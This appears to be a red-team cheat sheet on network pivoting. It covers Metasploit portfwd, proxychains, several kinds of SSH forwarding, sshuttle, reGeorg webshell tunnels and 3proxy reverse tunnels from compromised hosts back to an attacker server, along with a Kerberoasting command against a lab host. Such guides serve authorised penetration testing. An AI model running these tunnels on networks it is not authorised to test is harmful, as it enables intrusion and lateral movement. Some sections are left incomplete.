Pivoting
Pivoting is a set of techniques used during red team/pentest engagements which make use of attacker-controlled hosts as logical network hops with the aim of amplifying network visibility.
A good guide for pivoting: https://artkond.com/2017/03/23/pivoting-guide/
https://posts.specterops.io/offensive-security-guide-to-ssh-tunnels-and-proxies-b525cbd4d4c6
Metasploit
Autoroute
Can be used on a meterpreter shell
add route
print routes
Port scan
Portfwd
Add port forward
meterpreter > portfwd add –l 3389 –p 3389 –r [target host]
add will add the port forwarding to the list and will essentially create a tunnel for us. Please note, this tunnel will also exist outside the Metasploit console, making it available to any terminal session.
-l 3389 is the local port that will be listening and forwarded to our target. This can be any port on your machine, as long as it’s not already being used.
-p 3389 is the destination port on our targeting host.
-r [target host] is the our targeted system’s IP or hostname.
Delete
meterpreter > portfwd delete –l 3389 –p 3389 –r [target host]
LIST
meterpreter > portfwd list
Socks Proxy
Create a sock proxy
check /etc/proxychains.conf
use proxcychain
root@kali# proxychains GetUserSPNs.py -request -dc-ip 10.10.10.103 htb.local/amanda
SSH
Once you ssh'd into a machine press '~' and press C (capital C)
Example:
dave@ubuntu:/tmp$ssh> -L 8001:192.168.122.4:80 Forwarding port.
then we will forward 192.168.122.4:80 to the local port 8001 (on our KALI machine! - this is due to has ssh'd into the intermedia machine)
Results in:
Local port forwarding
ssh -L 1337:10.0.0.2:80 root@10.0.0.1
Proxy traffic to 10.0.0.2:80 on local port 1337 by creating a proxy on 10.0.0.1
Remote port forwarding
Here our operator managed to get SSH access to the same compromised host, but this time we need the server to route a reverse shell he executed on the target back to us.
The syntax to make this happen is the following:
ssh -R sshGatewayIp:sshGatewayPort:localIp:localPort user@sshGateway
With:
-R being the option to instruct SSH to instantiate a remote port forwarding tunnel
sshGatewayIp being the IP address of the SSH server that will route the traffic
sshGatewayPort being the port of the SSH server that will receive the traffic that needs to be routed
localIp being IP address to which the traffic will be routed. Most of the times it’s going to be the operator’s one
localPort being the port to which the traffic will be routed. Most of the times it’s going to be the operator’s listener’s port
user being the user he has the credential of
sshGateway being the device the operator has SSH access to
NOTE: The directive "GatewayPorts clientspecified" MUST be present inside the server's /etc/ssh/sshd_config otherwise the SSH server is going to listen for connection on 127.0.0.1, thus making the tunnel useless. Make sure this directive is present inside the config, otherwise add it (needs root privileges) and make sure to restart the SSH server!
For example, on the compromised host COMP1 we will connect to our redirector (RED1) which is internet accessible , and use the new ssh tunnel to connect to COMP1 from our local network.
Use the SSH client on COMP1
Create a
Remote port forward tunnel from the remote host, RED1, to the source host, COMP1On the remote host, RED1, listen on the bind_address, 127.0.0.1, on port 2222
Forward the connection from the remote host, RED1, to the SSH service that is already listening on the source host, COMP1, host loopback adapter 127.0.0.1 on hostport 22
The SSH client should connect to COMP1 and login as rastley
Once a SSH tunnel has been established between the compromised host to the internet host, an operator can now use it to connect to the SSH server on the source host,
Use the SSH client on RED1
Establish a SSH connection to
port 2222The SSH client should connect to the loopback adapter (127.0.0.1), which is forwarded through the previously created SSH tunnel to COMP1, and login as the user hpotter, a valid user account on COMP1
Dynamic port forwarding
The last kind of port forwarding SSH provides is called dynamic port forwarding. This technique is kinda similar to local port forwarding, but instead of specifying a single host/port pair to which traffic will be routed, it’s the SSH gateway which gets to decide where to route the traffic. That means if you send a packet to a host in the same subnet of the SSH server, this one is going to automatically route it to the destination you specified, provided you have instructed your OS to proxy traffic through the SSH gateway. Its syntax is like this:
ssh -D localPort user@sshGateway
This technique is really useful but it has a huge downside: it often messes up the traffic and interferes with tools like nmap.
VPN Over ssh
Since openssh release 4.3 it is possible to tunnel layer 3 network traffic via an established ssh channel. This has an advantage over a typical tcp tunnel because you are in control of ip traffic. So, for example, you are able to perform SYN-scan with nmap and use your tools directly without resorting to proxychains or other proxifying tools. It’s done via the creation of tun devices on client and server side and transferring the data between them over ssh connection. This is quite simple, but you need root on both machines since the creation of tun devices is a privileged operation. These lines should be present in your /etc/ssh/sshd_config file (server-side):
The following command on the client will create a pair of tun devices on client and server:
ssh username@server -w any:any
The flag -w accepts the number of tun device on each side separated with a colon. It can be set explicitly - -w 0:0 or you can use -w any:any syntax to take the next available tun device.
The tunnel between the tun devices is enabled but the interfaces are yet to be configured. Example of configuring client-side:
ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0
Server-side:
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0
Enable ip forwarding and NAT on the server:
Now you can make the peer host 1.1.1.1 your default gateway or route a specific host/network through it:
route add -net 10.0.0.0/16 gw 1.1.1.1
In this example the server’s external network interface is eth0 and the newly created tun devices on both sides are tun0.
Credit: https://artkond.com/2017/03/23/pivoting-guide/#vpn-over-ssh
sshuttle
Link: https://github.com/sshuttle/sshuttle
Scanning networks through a SSH gateway using dynamic port forwarding is a huge PITA most of the times. While searching for a solution to this during my time in the lab I came across SSHuttle. This tool creates a tun interface on the operator’s machine (much like a VPN) and then sets rules to forward traffic for the specified subnet through the tun interface. The cool thing about it is that it does not need root access to the SSH gateway (only on the operator machine).
Its syntax is the following:
sshuttle -r user@sshGateway network/netmask
In the previous scenario the command to spawn a tun interface with SSHuttle and route traffic to the subnet would have been:
sshuttle -r root@10.0.0.1 10.0.0.0/24
reGeorge
Link: https://github.com/sensepost/reGeorg
The successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn.
Usage
Steps:
Upload tunnel.(aspx|ashx|jsp|php) to a webserver (How you do that is up to you)
Configure you tools to use a socks proxy, use the ip address and port you specified when you started the reGeorgSocksProxy.py
Example:
3proxy
This tools works for multiple platforms. There are pre-built binaries for Windows. As for Linux, you will need to build it yourself which is not a rocket science, just ./configure && make :) This tool is a swiss army knife in the proxy world so it has a ton of functionality. I usually use it either as a socks proxy or as a port forwarder.
Link: https://github.com/z3APA3A/3proxy
Credit: https://artkond.com/2017/03/23/pivoting-guide/#3proxy
SSH reverse port forwarding /w 3proxy
This pivoting setup looks something like this:
Run 3proxy service with the following config on the target server:
socks -p31337
Create a separate user on the receiving side (attacker’s machine).
adduser sshproxy
This user has to be low-privileged and shouldn’t have shell privileges. After all, you don’t want to get reverse pentested, do ya? :) Edit /etc/passwd and switch shell to /bin/false. It should look like:
sshproxy:x:1000:1001:,,,:/home/sshproxy:/bin/false
Now connect to your server with the newly created user with -R flag. Linux system:
ssh sshproxy@your_server -R 31337:127.0.0.1:31337
For windows you will need to upload plink.exe first. This is a console version of putty. To run it:
plink.exe sshproxy@your_server -R 31337:127.0.0.1:31337
The -R flag allows you to bind port on the server side. All connections to this port will be relayed to a specified port on the client. This way we can run 3proxy socks service on the client side (compromised machine) and access this port on the attacker’s host via ssh -R flag.
ICMP Tunnel
Use http://code.gerade.org/hans/
DNS Tunnel
Last updated
